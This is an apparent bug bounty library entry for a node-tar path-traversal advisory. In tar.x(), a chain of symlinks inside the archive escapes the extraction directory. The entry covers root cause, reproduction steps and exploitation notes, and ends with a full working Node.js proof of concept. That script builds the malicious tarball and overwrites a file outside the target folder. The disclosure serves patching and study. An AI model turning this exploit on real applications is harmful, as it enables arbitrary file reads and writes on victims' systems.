# node-tar: Symlink target escapes the extraction directory through an in-archive symlink chain

node-tar validates a lexically normalized symlink target but creates the link with the raw path, so an in-archive symlink chain escapes the extraction directory.

- Payout: Research
- Severity: high
- Program: node-tar
- Found by: samsonmaximus
- Disclosed: 2026-12-02
- CVE: CVE-2026-140249
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-4pf9-5fpx-xmr6
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-4pf9-5fpx-xmr6
- Tags: area:oss domain:oss impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:regression technique:source-review vuln:path-traversal

**Target:** tar.x() extraction of SymbolicLink entries (npm tar package)
**Root cause:** STRIPABSOLUTEPATH validates the lexically normalized linkpath (x/secret.txt) while LINK creates the symlink with the raw linkpath (x/y/../secret.txt); ENSURE_NO_SYMLINK resolves the path lexically too, so it never sees that x/y is a symlink. The kernel resolves x/y first, then applies .., escaping cwd.
**Steps:**
1. Build archive with entries: `x/` Directory, `x/y` SymbolicLink linkpath `..`, `l` SymbolicLink linkpath `x/y/../secret.txt`, and `deep` SymbolicLink linkpath `x/y/`×8 + `../`×16 + `etc/hostname`.
2. Extract with default options: `tar.x({cwd, file})` (async or sync).
3. Observe no warnings; `readlink l` returns `x/y/../secret.txt` and `realpath l` resolves to `<workdir>/secret.txt` outside cwd.
4. Write to `cwd/l` and confirm the out-of-cwd `secret.txt` is overwritten; `realpath deep` resolves to `/etc/hostname`.
5. Repeat with entry order reversed (link before x/y) — same result.
**How found:** Noticed the README's promise that link targets cannot escape the extraction folder, then compared the path STRIPABSOLUTEPATH validates (lexically normalized) against the raw linkpath LINK actually writes; realized ENSURE_NO_SYMLINK also normalizes lexically and so misses that x/y is a symlink. Traced the regression to PR #450 relaxing the `..` rejection in 7.5.5.
**Exploitation:** Attacker supplies a tarball; victim application extracts with default tar.x() and later reads or writes extracted files by name, following the planted symlinks to arbitrary paths as the extracting user (arbitrary file read/write). PoC overwrites a file outside cwd and resolves a link to /etc/hostname.
**Escalation:** Repeating `x/y/` eight times plus `../` sixteen times reaches any absolute path within the 100-byte ustar linkpath field, e.g. /etc/hostname.
**Insight:** When a check normalizes a path lexically but the sink uses the raw path, any `..` after a component that is itself a symlink in the extraction tree re-resolves differently at the kernel — diff the validated string against the string actually passed to the syscall.

## Proof of concept (copied exactly from the original report)

**PoC script building symlink-chain tarball and extracting**

```
const fs = require('fs')
const path = require('path')
const tar = require(path.resolve(process.argv[2]))
const work = path.resolve(process.argv[3])
fs.rmSync(work, { recursive: true, force: true })
const cwd = path.join(work, 'extract')
fs.mkdirSync(cwd, { recursive: true })
const secret = path.join(work, 'secret.txt')          // outside the extraction dir
fs.writeFileSync(secret, 'ORIGINAL\n')

const entries = [
  { path: 'x/', type: 'Directory' },
  { path: 'x/y', type: 'SymbolicLink', linkpath: '..' },
  { path: 'l', type: 'SymbolicLink', linkpath: 'x/y/../secret.txt' },
  { path: 'deep', type: 'SymbolicLink',
    linkpath: 'x/y/'.repeat(8) + '../'.repeat(16) + 'etc/hostname' },
]
const blocks = []
for (const e of entries) {
  const b = Buffer.alloc(512)
  new tar.Header({ ...e, mode: 0o755, size: 0, mtime: new Date(0) }).encode(b, 0)
  blocks.push(b)
}
blocks.push(Buffer.alloc(1024))
const tarFile = path.join(work, 'poc.tar')
fs.writeFileSync(tarFile, Buffer.concat(blocks))

const run = async (sync) => {
  fs.rmSync(cwd, { recursive: true, force: true }); fs.mkdirSync(cwd)
  fs.writeFileSync(secret, 'ORIGINAL\n')
  const warns = []
  const opts = { cwd, file: tarFile, onwarn: (c, m) => warns.push(c + ' ' + m) }
  if (sync) tar.x({ ...opts, sync: true }); else await tar.x(opts)
  console.log(`--- tar.x({cwd, file${sync ? ', sync:true' : ''}})`)
  console.log('warnings:', warns.length ? warns : 'none')
  console.log('readlink l      ->', fs.readlinkSync(path.join(cwd, 'l')))
  console.log('realpath l      ->', fs.realpathSync.native(path.join(cwd, 'l')))
  console.log('realpath deep   ->', fs.realpathSync.native(path.join(cwd, 'deep')))
  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
  console.log('secret.txt now  ->', JSON.stringify(fs.readFileSync(secret, 'utf8')))
}
run(false).then(() => run(true))
```

